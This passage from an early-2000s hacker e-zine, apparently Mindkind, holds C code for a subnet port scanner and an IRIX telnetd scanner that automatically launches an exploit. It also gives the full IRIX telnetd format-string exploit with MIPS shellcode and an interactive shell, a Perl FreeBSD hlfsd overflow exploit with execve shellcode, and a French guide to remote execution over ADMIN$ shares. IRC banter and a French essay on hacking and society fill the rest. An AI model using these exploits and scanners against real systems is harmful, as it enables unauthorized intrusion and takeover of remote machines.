    if (!(outfd = fopen(outfile, "a")))
    {
        perror(outfile);
        exit(EXIT_FAILURE);
    }
    printf("[ sockets -> %d ] [ timeout -> %ds ][ output -> %s ]\n"
           "Currently scanning: ", MAX_SOCKETS, TIMEOUT, outfile, argv[1]);
    fflush(stdout);

    memset(&last, 0, sizeof(last));
    init_sockets();
    scantime = time(0);

    while(!done)
    {
        for (i = 0; i < MAX_SOCKETS; i++)
        {
            if (cip == 255)
            {           
                if ((bb == 255) || (argc >= 4))
                {
                    ns = 0;
                    for (k = 0; k < MAX_SOCKETS; k++)
                    {
                        if (connlist[k].status > S_NONE)
                        {
                            ns++;
                            break;
                        }
                    }

                    if (ns == 0)
                        done = 1;

                     break;
                }
                else
                {
                    cip = 0;
                    bb++;
                    for (x = 0; x < strlen(last); x++)
                        putchar('\b');
                    memset(&last, 0, sizeof(last));
                    snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)",
                        argv[1], bb, tot, (bb / 255.0) * 100);
                    printf("%s", last);
                    fflush(stdout);
                }
            }

            if (connlist[i].status == S_NONE)
            {
                connlist[i].s = socket(AF_INET, SOCK_STREAM, 0);
                if (connlist[i].s == -1)
                    printf("Unable to allocate socket.\n");
                else
                {
                    ret = fcntl(connlist[i].s, F_SETFL, O_NONBLOCK);
                    if (ret == -1)
                    {
                        printf("Unable to set O_NONBLOCK\n");
                        close(connlist[i].s);
                    }
                    else
                    {
                        memset(&ip, 0, 20);
                        sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
                        connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
                        if (connlist[i].addr.sin_addr.s_addr == -1)
                            fatal("Invalid IP.");
                        connlist[i].addr.sin_family = AF_INET;
                        connlist[i].addr.sin_port = htons(atoi(argv[2]));
                        connlist[i].a = time(0);
                        connlist[i].status = S_CONNECTING;
                        cip++;
                    }
                }
            }
        }
        check_sockets();
    }

    printf("\nPscan completed in %u seconds. (found %d ips)\n", (time(0) - scantime), tot);
    fclose(outfd);
    exit(EXIT_SUCCESS);
}

void init_sockets(void)
{
    int i;

    for (i = 0; i < MAX_SOCKETS; i++)
    {
        connlist[i].status = S_NONE;
        memset((struct sockaddr_in *)&connlist[i].addr, 0, sizeof(struct sockaddr_in));
    }
    return;
}

void check_sockets(void)
{
    int i, ret;

    for (i = 0; i < MAX_SOCKETS; i++)
    {
        if ((connlist[i].a < (time(0) - TIMEOUT)) && (connlist[i].status == S_CONNECTING))
        {
            close(connlist[i].s);
            connlist[i].status = S_NONE;
        }
        else if (connlist[i].status == S_CONNECTING)
        {
            ret = connect(connlist[i].s, (struct sockaddr *)&connlist[i].addr,
                sizeof(struct sockaddr_in));
            if (ret == -1)
            {
                if (errno == EISCONN)
                {
                    tot++;
                    fprintf(outfd, "%s\n",
                        (char *)inet_ntoa(connlist[i].addr.sin_addr));
                    close(connlist[i].s);
                    connlist[i].status = S_NONE;
                }

                if ((errno != EALREADY) && (errno != EINPROGRESS))
                {
                    close(connlist[i].s);
                    connlist[i].status = S_NONE;
                }
            }
            else
            {
                tot++;
                fprintf(outfd, "%s\n",
                    (char *)inet_ntoa(connlist[i].addr.sin_addr));
                close(connlist[i].s);
                connlist[i].status = S_NONE;
            }
        }
    }
}

void fatal(char *err)
{
    int i;
    printf("Error: %s\n", err);
    for (i = 0; i < MAX_SOCKETS; i++)
        if (connlist[i].status >= S_CONNECTING)
            close(connlist[i].s);
    fclose(outfd);
    exit(EXIT_FAILURE);
}
----------------------------------------------------------------------------------------

#main scanning routine who output data to >>  ips.log

-------------- [ irixscan.c ] ----------------------------------------------------------
/* 
   irixscan.c by vaL0r for Team MindKinD Research

   booya , here is my new telnetd scanner and stupid utilities to
   grab and exploit irix telnetd exploitable hosts.

   use with pscan for better result
  
   compile : gcc -o irixscan irixscan.c
   syntax : ./pscan $subnet 23 ; tail -f ips.log | while read subnet ; do ; ./irix-scan $subnet

   enough talking , enjoy the violence errrr i mean the silence
 */

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

int main(int argc, char *argv[])
{

  struct sockaddr_in sin;
  int sock, len;
  u_char buf[4000];
  FILE *ihatetempfiles;
  char telnet[150];  

  printf("Team SigDie Research\n");
  printf("IRIX telnetd exploit scanner\n");
  printf("Written by vaL0r\n");
  printf("\n");
  if (argc < 2) 
  {
    printf("Usage: %s <ip_address>\n", argv[0]);
    exit(0);
  }
  printf("[***] Connecting to %s port 23...\n", argv[1]);
  sock = socket(AF_INET, SOCK_STREAM, 0);
  if (!sock)
  {
     fprintf(stderr, "[***] Unable to get a socket\n");
     return;
  }
  sin.sin_family = AF_INET;
  sin.sin_port = htons(23);
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  alarm(4);
  if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) == 0) 
  {
     while (1)
     {
       memset(buf, 0, sizeof(buf));
       if ((len = read (sock, buf, 1)) <= 0)
         break;
       if (*buf == (unsigned int) 255)
       {
         read(sock, (buf + 1), 2);
         if (*(buf + 1) == (unsigned int) 253 && !(u_char) * (buf + 2));
         else if ((u_char) * (buf + 1) == (unsigned int) 253)
         {
           *(buf + 1) = 252;
           write (sock, buf, 3);
         }
       }
       else
       {
  	 if (*buf != 0)
         {
           bzero (buf, sizeof (buf));
           read (sock, buf, sizeof (buf));
           usleep(40000);
           #ifdef VERBOSE
           printf("%s",buf);
	   #endif
	 }
         if (strstr(buf, "irix 6.2"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 62 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.3"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 63 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.4"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 64 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
         if (strstr(buf, "irix 6.5"))
         {
           alarm(65000);
	   printf("[***] IRIX telnetd found on %s host.  Attempting to exploit...\n");
           sprintf(telnet,"irix  %s -v 65 ",argv[1]);
	   system(telnet);	
           alarm(0);
           return 1;
         }
       }
     }
  }
}

----------------------------------------------------------------------------------

#mostly grab the banner from ips.log and attempt to exploite appropriate verzion

--------------------- [telnetd-IRIX.c ]----------------------------------------------

                                                                    */
/* code was slightly modified in order to properly compile with gcc and to    */
/* work from within little endian machines                                    */
/* slightly revised by vaL0r , i wont take credit , this code was realised    */
/* by the lsd-pl.net, stout to them !

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

char shellcode[]=
    "\x04\x10\xff\xff"             /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"             /* li      $v0,1011             */
    "\x23\xff\x02\x14"             /* addi    $ra,$ra,532          */
    "\x23\xe4\xfe\x08"             /* addi    $a0,$ra,-504         */
    "\x23\xe5\xfe\x10"             /* addi    $a1,$ra,-496         */
    "\xaf\xe4\xfe\x10"             /* sw      $a0,-496($ra)        */
    "\xaf\xe0\xfe\x14"             /* sw      $zero,-492($ra)      */
    "\xa3\xe0\xfe\x0f"             /* sb      $zero,-497($ra)      */
    "\x03\xff\xff\xcc"             /* syscall                      */
    "/bin/sh"
;

typedef struct{char *vers;}tabent1_t;
typedef struct{int flg,len;int got,g_ofs,subbuffer,s_ofs;}tabent2_t;

tabent1_t tab1[]={
    { "IRIX 6.2  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: no patches          " },
    { "IRIX 6.2  libc.so.1: no patches      telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 1918|2086       telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.2  libc.so.1: 3490|3723|3771  telnetd: 1485|2070|3117|3414 " },
    { "IRIX 6.3  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 2087            telnetd: no patches          " },
    { "IRIX 6.3  libc.so.1: 3535|3737|3770  telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: no patches      telnetd: no patches          " },
    { "IRIX 6.4  libc.so.1: 3491|3769|3738  telnetd: no patches          " },
    { "IRIX 6.5-6.5.8m 6.5-6.5.7f           telnetd: no patches          " },
    { "IRIX 6.5.8f                          telnetd: no patches          " }
};

tabent2_t tab2[]={
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d1e0, 0x14 },
    { 0, 0x56, 0x0fb44390, 115, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb483b0, 117, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb50490, 122, 0x7fc4d220, 0x14 },
    { 0, 0x56, 0x0fb4fce0, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb4f690, 104, 0x7fc4d230, 0x14 },
    { 0, 0x56, 0x0fb52900, 104, 0x7fc4d230, 0x14 },
    { 1, 0x5e, 0x0fb576d8,  88, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x0fb4d6dc, 102, 0x7fc4cf70, 0x1c },
    { 1, 0x5e, 0x7fc496e8,  77, 0x7fc4cf98, 0x1c },
    { 1, 0x5e, 0x7fc496e0,  77, 0x7fc4cf98, 0x1c }
};

char env_value[1024];

int prepare_env(int vers){
    int i,adr,pch,adrh,adrl;
    char *b;

    pch=tab2[vers].got+(tab2[vers].g_ofs*4);
    adr=tab2[vers].subbuffer+tab2[vers].s_ofs;
    adrh=(adr>>16)-tab2[vers].len;
    adrl=0x10000-(adrh&0xffff)+(adr&0xffff)-tab2[vers].len;

    b=env_value;
    if(!tab2[vers].flg){
        for(i=0;i<1;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%22$hn%%%05dc%%23$hn",adrh,adrl);
    }else{
        for(i=0;i<5;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch>>((3-i%4)*8))&0xff);
        for(i=0;i<4;i++) *b++=' ';
        for(i=0;i<4;i++) *b++=(char)((pch+2>>((3-i%4)*8))&0xff);
        for(i=0;i<3;i++) *b++=' ';
        for(i=0;i<strlen(shellcode);i++){
            *b++=shellcode[i];
            if((*(b-1)==(char)0x02)||(*(b-1)==(char)0xff)) *b++=shellcode[i];
        }
        sprintf(b,"%%%05dc%%11$hn%%%05dc%%12$hn",adrh,adrl);
    }
    b+=strlen(b);
    return(b-env_value);
}

main(int argc,char **argv){
    char buffer[8192];
    int i,c,sck,il,ih,cnt,vers=65;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM   //lsd-pl.net/\n");
    printf("telnetd for irix 6.2 6.3 6.4 6.5 6.5.8 IP:all\n\n");

    if(argc<2){
        printf("usage: %s address [-v 62|63|64|65]\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"sc:p:v:"))!=-1){
        switch(c){
        case 'v': vers=atoi(optarg);
        }
    }   

    switch(vers){
    case 62: il=0;ih=5; break;
    case 63: il=6;ih=8; break;
    case 64: il=9;ih=10; break;
    case 65: il=11;ih=12; break;
    default: exit(-1);
    }

    for(i=il;i<=ih;i++){
        printf(".");fflush(stdout);
        sck=socket(AF_INET,SOCK_STREAM,0);
        adr.sin_family=AF_INET;
        adr.sin_port=htons(23);
        if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if((hp=gethostbyname(argv[1]))==NULL){
                errno=EADDRNOTAVAIL;perror("error");exit(-1);
            }
            memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
        }
 
        if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){
            perror("error");exit(-1);
        }

        cnt=prepare_env(i);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x58\x58\x58\x58\x00",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);
        sleep(1);
        memcpy(buffer,"\xff\xfa\x24\x00\x01\x5f\x52\x4c\x44\x00%s\xff\xf0",10);
        sprintf(&buffer[10],"%s\xff\xf0",env_value);
        write(sck,buffer,10+cnt+2);

        if(((cnt=read(sck,buffer,sizeof(buffer)))<2)||(buffer[0]!=(char)0xff)){
            printf("warning: telnetd seems to be used with tcp wrapper\n");
        }
#define COMMAND "  **** be creative there .. **** "
        write(sck,"/bin/uname -a ; COMMAND",14);
        if((cnt=read(sck,buffer,sizeof(buffer)))>0){
            printf("\n%s\n\n",tab1[i].vers);
            write(1,buffer,cnt);
            break;
        }
        close(sck);
    }
    if(i>ih) {printf("\nerror: not vulnerable\n");exit(-1);}

    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck,buf,cnt);
            }
            if(FD_ISSET(sck,&fds)){
                if((cnt=read(sck,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
}
/*                                w00_hoo phear aka vaL                                    */
---------------------------------------------------------------------
 
Dont forget to edit  [ #define COMMAND "  **** be creative there .. ****  " ]

---------------------------------------------------------------------

# i Hope u enjoy the lil arcticle , of course there more to come
# feel free to submit idea by email
# Realised by vaL0r on  20 November 2002
# let me know bugz or fix if u find better way to code 
# peace




            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  val0r@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





   < Mindkind tales from IRC >
   < Leçon de vulgarité avec Last et init >

   [03:22] <init_null> 11.03 tnegra'l ed elrap elcitra teC
   [03:22] <init_null> lol
   [03:22] <init_null> non
   [03:22] <init_null> hahaha
   [03:22] <LastCall_> init
   [03:22] <LastCall_> check
   [03:22] <LastCall_> fait ton esti darticle
   [03:22] <init_null> HAHAH
   [03:22] <LastCall_> a place de penser a un esti de titre
   [03:22] <LastCall_> de batnarad
   [03:22] <LastCall_> de criss
   [03:22] <LastCall_> de tabarnak
   [03:22] <LastCall_> doesti
   [03:22] <LastCall_> de siboir de criss
   [03:22] <LastCall_> ;-)
   [03:22] <init_null> hoho
   [03:22] <init_null> des batnarad
   [03:22] <init_null> sa c fou
   [03:22] <init_null> lol
   [03:22] <LastCall_> hahahaha
   [03:22] <LastCall_> HAHAHAHA
   [03:22] <LastCall_> esti
   [03:22] <LastCall_> haha
   [03:23] <LastCall_> 11.03 batnarad
   [03:23] <LastCall_> hahaha
   [03:23] <init_null> hahaha
   [03:23] <LastCall_> ctun mélange de batman, tabarnak pis norad
   [03:23] <LastCall_> hahahahahaha
   [03:23] <LastCall_> HAHAHAHA
   [03:23] <init_null> hahaha ouais
   [03:23] <LastCall_> esti chu crampé la
   [03:23] <LastCall_> haha
   [03:23] <LastCall_> sacrament dcawliss
   [03:23] <LastCall_> hehe
   [03:23] <init_null> 11.03 batnarad prend l'oeuf
   [03:23] <LastCall_> hahahaha
   [03:23] <init_null> c bon sa
   [03:23] <init_null> hahaha

  < ----------------------- >




                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.15  Déshumanisation how-to                          \        \     !
     .             aka                                         \        \    .
     ;       We need howmuch cyborg to record santa barbara?    \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     


Aujourd'hui   nous   allons   voir   comment   les   grandes   entreprises   et
autres organismes peuvent tout simplement arriver à déshumaniser les gens.

Les  gens  sont  de plus  en  plus  futés. Les  jeunes  sont  de plus  en  plus
intelligents, entre chaque génération, chaque nouvelle génération de jeune  est
plus futé. La raison est simple, c'est pas vraiment parce que notre cerveau  se
développe, c'est plutôt car la société autour est plus solide est nous  apprend
plus efficacement les choses. Nous sommes venus  à un point  tel qu'il y  a  du
sang  de geek dans   nous tous  (même si   c'est très  minime) donc    que l'on
aime nourrir notre  cerveau avec  de l'information.

Jusque-là, nous restons nous-mêmes.

Par  contre,  fondamentalement,  l'être  humain se  nourrit  d'une  chose  : la
liberté. Cette  liberté est  très restreinte  dans notre  monde par  des règles
physiques. Exemple; les frontières  de pays. Non pas  que c'est mal d'avoir une
frontière entre pays,  mais imaginez-vous  si la frontière  serait la porte  de
votre chambre... fatiguant passer par la douane pour aller dehors.

La liberté ne  pousse pas à  dépenser, sauf si  le produit offre  la liberté en
lui-même. Ça on le voit clairement quand  on regarde ce qui se passe autour  de
nous, surtout dans  le domaine de  l'informatique. Je suis  présentement libre,
grâce à ce que je sais, de pouvoir télécharger n'importe quel musique  ou  soft
sur Internet, sans payer une cenne.

La liberté ne s'achète pas, elle se mérite. (Pensez aux prisons..)

Donc, les grandes compagnies ont de la difficulté à contrôler les gens, car  le
software se copie facilement. C'est mal  pour eux, car s'ils ne vendent  pas et
se font copier, ils ont moins d'argent. Selon les compagnies, les gens  doivent
acheter, pas pirater! Par contre, les gens sont futés. Ils ont réussi à cracker
les DVD, ils ont continué de sharer des fichiers MP3 sur le net...

Mais comment arrêter des gens futés qui aime se servir de leurs cerveaux?

C'est simple, vous n'avez  qu'à surinformer les gens.  Un peu comme un   disque
dur qui serait rempli  à 100%. Alors là,  on voit clairement le  moyen de leurs
fermer  la trappe.  Voilà, de   nouveaux standards,  voilà, on  vous  en  donne
beaucoup de  l'info hein?  Pourtant on  vous cache  tout(closed source)! Voilà!
Chercher  l'information...  C'est  maintenant  comme  ça  qu'on  va  occuper la
société,  vous voulez   hacker bande  de  caves?  ben go,   cherchez! Continuez
de cracker, ça  donne  rien, on  va  tjrs trouver  de  quoi de  nouveau  à vous
mettre sous la dent pour pas que vous nous mordiez réellement.

La rébellion là dedans elle est où? NULL PART MON CHER LASTCALL_, NULL PART. On
est trop  occupé à  cracker le  dernier standard  d'encryption des  DVD pour se
préoccuper de se dire qu'on est vraiment en calice, finalement on fait ça juste
pour le plaisir, pour passer le temps... oui mais tonton Last,
quand il crack le dvd, il combat! Non? ...et si c'était un piège?

Si c'était un piège finalement, tout ce temps, il était prévu qu'on était  pour
se battre, mais se battre contre des choses qui vont être remplacées...,  alors
que  l'argent elle,  elle  vas  toujours rester   là..., malheureusement.  Pour
rendre cette idée claire,  voici deux  exemples non  réels sortant  de ma  pure
paranoïa: Une compagnie  de CPU qui  fabrique des  CPU  3ghz alors qu'elle  est
capable  d'en faire des  4ghz, mais ce sont  les 3ghz qui sont  produit car ils
peuvent  en vendre  plus à  la fin   du compte.   Un organisme   qui fait   de
l'encryption  et qui fait le release du 64bits, alors qu'il attend  de releaser
le 128  alors que le 64  est pas encore
cracké.

Vous voyez,
           vous avez beau cracker tout ce qui bouge,
           vous faite juste jouer au jeu...

Parfois, on peut se dire que  la vie est  comme ça... mais  parfois on peut  se
regarder,  pis  aussi  dire : je  vie  pour  quoi  moi?  Quel  est  mon  but  à
cracker/hacker des choses? Pour l'argent? .. et l'amour(heh)? La passion?

Si tout le monde  qui hack aurait un  esprit contrôlé par la  passion, sans une
dose d'argent, de capitalisme, on ferait autre chose que de seulement  discuter
des dernières technologies, des moyens des contourner, pis on s'attaquerait aux
VRAI  CHOSES. Aux  personnes derrières  toutes ces  merdes, aux  pensées et aux
idéologies... Remarquer là  que je tiens  pas à cracher  sur le fait de cracker
quelque chose, mais seulement  qu'il faut penser à  LONG TERME. Si je  crack un
prog pour pouvoir l'utiliser gratuitement c'est une solution à court terme,  si
je trouve une solution GPL à ce prog, alors là c'est long terme.

Ce n'est pas du software ni du matériel qu'il faut cracker, c'est la mentalité,
la société, le tout qu'on appelle gentiment la bêtise humaine.

C'est donc là que  la cloche "UTOPIE LAST  UTOPIE" devrait sonner. J'avoue  que
oui, c'est utopique mon  idée, je vois ça  comme si tout pourrait  être beau et
qu'on vive comme  dans Star Trek,  que l'argent existe  pu vraiment.   Mais  je
crois que le meilleur moment de  faire des passes "humanistes" comme ça,  c'est
quand la société  fait un virage  qu'elle est facile  à faire débarquer  de ses
railles (révolution! heh). Peut-être qu'on est pas encore rendu au bon  virage,
mais je  commence à  voir un  certain espoir  là-dessus,  après tout  une seule
personne peut être puissante sur Internet, alors pourquoi que cela pourrait
pas servir à l'utopie de la liberté en fin de compte...

Bon.
Si vous ne voulez pas comprendre ce  qui se passe ici, ce qui est  exprimé ici,
et bien  _félicitation_, vous  avez maintenant  compris comment déshumaniser le
monde..., car vous êtes maintenant une victime. Si par contre vous avez compris
et admis ce qui  se passe, qu'il ne  faut pas se battre  aveuglément, vous êtes
aussi une victime, mais au moins vous le saviez déjà.

La seule chose  qui saura vraiment  déterminer si un  jour nous allons  pouvoir
être libre parmi cette société, c'est la journée que nous allons voir qui  aura
gagné entre le hacker et le hacké (ou le cracker et le cracké, ou le pirate  ou
le piraté, ou l'argent et la liberté).

Pourvu que l'évolution se fasse du bon coté.
Je vous le souhaite d'ici un million d'années...


J'aimerais remercier WiL et  NeVR-C (en show comme  une page web) pour  m'avoir
inspiré pour ce texte. 



                                   - Essayer de faire plus parano que LastCall_


            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                lastcall@mindkind.org                    /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'





   < Mindkind tales from IRC >
   < Alcoholism is a gift >
   
   [01:18] <LastCall_> tk c laid
   [01:18] <LastCall_> cpour les mongoles
   [01:18] <zarath> lol
   [01:19] <zarath> meuh non c pour moi 
   [01:19] <zarath> :P
   [01:19] <XeliteX> pwet!!!
   [01:19] <[FunkY]> pwet!!!
   [01:19] <XeliteX> meuh!
   [01:19] <[FunkY]> haha
   [01:19] <[FunkY]> y dit meuh..
   [01:19] <XeliteX> pwet!!!
   [01:19] <[FunkY]> uhm...je bois trop..
   [01:19] <LastCall_> hahahahha
   [01:19] <LastCall_> HAHHAHAHA
   [01:19] <LastCall_> esti
   [01:19] <LastCall_> ça ctais drole
   [01:19] <LastCall_> :-)

  < ----------------------- >



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.16  IPC$ remote control                             \        \     !
     .             aka                                         \        \    .
     ;             Windows in a bdsm game                       \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Est-ce possible d'exécuté une ligne de commande à
distance sur une machine en NT/XP par le NetBios?
La réponse... OUI!
La technique est simple,  tout le monde connaît  déjà la plus grande  faille de
Microsoft après IIS, le netBios, souvent appelé aussi le "IPC$", en fait, c'est
simple,  la faille  consiste à  se connecter  sur le  "IPC$" d'une  machine et
d'ensuite avoir droit de voir la liste  des usagers sur la machine et la  liste
des dossiers partagés. je n'allongerai pas sur le sujet de l'accès aux  fichier
sur des  ordis en  NT/XP, ceci  est une  perte de  temps puisque  tout le monde
connais le sujet depuis des années.


*** Les shares finissant par $ sont cachés à l'utilisateur, vérifiez s'ils 
existent d'abord ***

Mais comment, par un de ces dossier partagé, est-il possible d'exécuté ?!

C'est  simple, le  share administratif  "ADMIN$" donne  des autorisations  pour
pouvoir exécuter  à partir  de celui  ci, voici  tout ce  que vous  devez faire
LORSQUE VOUS AVEZ  UN LOGIN/PASSWORD MEMBRE  DU GROUPE "Administrateurs".  Vous
aurez besoin de l'un de ces petits outils pour exécuté à distance, Le  premier,
REXEC.EXE, Inclut dans Windows NT/XP, simple comme bonjour mais je n'ai  jamais
réussit à le faire fonctionner convenablement. Voici comment l'utiliser:

REXEC hôte [-l utilisateur] [-n] commande

  hôte            Hôte distant sur lequel la commande sera exécutée.
  -l utilisateur  Nom de l'utilisateur sur l'hôte distant.
  -n              Redirige l'entrée de REXEC sur NULL.
  commande        Commande à exécuter.

Le deuxième, XCMD.EXE, souvent distribué  avec le code source en  C, disponible
en le cherchant sur yahoo ou google. Facile d'utilisation:

xCmd v1.0 for NT4/2000 - executes commands remotely
Freeware! 2001 Zoltan Csizmadia, zoltan_csizmadia@yahoo.com

Usage: xCmd.exe \\computer [options] command/exe arguments

Options:
   /D:directory           Set working directory
                          Default: Remote "%SystemRoot%\System32"
   /IDLE                  Idle priority class
   /NORMAL                Normal priority class
   /HIGH                  High priority class
   /REALTIME              Realtime priority class
   /C                     Copy the specified program to the remote machine's
                          "%SystemRoot%\System32" directory
                          Commands's exe file must be absolute to local machine
   /USER:user             User for remote connection
   /PWD:{password|*}      Password for remote connection
   /NOWAIT                Don't wait for remote process to terminate

Examples:
   xCmd.exe \\remote cmd       // Starts a "telnet" client
   xCmd.exe \\remote /nowait runme.exe
   xCmd.exe \\remote /user:administrator dir c:\
   xCmd.exe \\remote /user:somebody /pwd:* /d:d:\ test1.exe
   xCmd.exe \\remote /c /user:somebody /pwd:* /d:d:\ test2.exe

Notes:
- Input is passed to remote machine when you press the ENTER.
- Ctrl-C terminates the remote process
- Command and file path arguments have to be absolute to remote machine
  If you are using /c option, command exe file path must be absolute to
  local machine, but the arguments must be absolute to remote machine

Donc lui il est simple et fonctionnel, suivez les exemples

NOTE: SI  VOUS ÈTES  DÉJA AUTHENTIFIÉ  sur un  des shares  administratifs de la
machine, vous n'avez pas  besoin de spécifié les  paramètres d'authentification
sur la  machine (/user:*  /pwd:*) et  simplement faire  xcmd \\computername cmd
pour en obtenir l'équivalent d'un telnet prompt ;)

Bon, maintenant je vous ai parlé de celui inclut dans Windows et d'un  freeware
opensource, il  y a  beaucoup d'autres  EXEs disponibles  sur le  net du  genre
xcmd.exe (un autre bon exemple: PSEXEC.EXE  mais je ne perdrai pas mon  temps à
vous  expliquer comment  il marche,  c'est similaire  à xcmd.exe  et facile  à
comprendre).

P.S.: RTFM! 

    ___          ___   ___
   / o.) _   (),' _/ ,' _/
- / o \,'o| /7_\ `. _\ `. -
 /___,'|_,'///___,'/___,' 



            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /                  boiss@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'




------------------------------- 8< cut here 8< -------------------------------

#!/usr/bin/perl
#
# Fbsd HLFSD exploit, dosen't give root since it's not seuid.
#
###########################################################
my $shout = "MindKind";
my $coder = "FunkY"; 
###########################################################

my $execv = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f" .
            "\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53" .
            "\xb0\x3b\x50\xcd\x80";

my $ret   = "\x08\xf3\xbf\xbf";
my $nop   = "\x90";
my $head  = 888;       
my $body  = 108;
my $buf;
                              
#                   .:[Building buffer]:.
 
 $buf .= $shout x($head/8);
 $buf .= $ret;
 $buf .= $nop x($body-length($execv));
 $buf .= $execv;

#                 .:[Exploitation Starts]:. 
 
 system("/usr/sbin/hlfsd", "-x" , "$buf");

------------------------------- 8< cut here 8< -------------------------------





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.17   Sadness in reflexion                           \        \     !
     .             aka                                         \        \    .
     ;             "I'm in love with my sadness"                \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                   

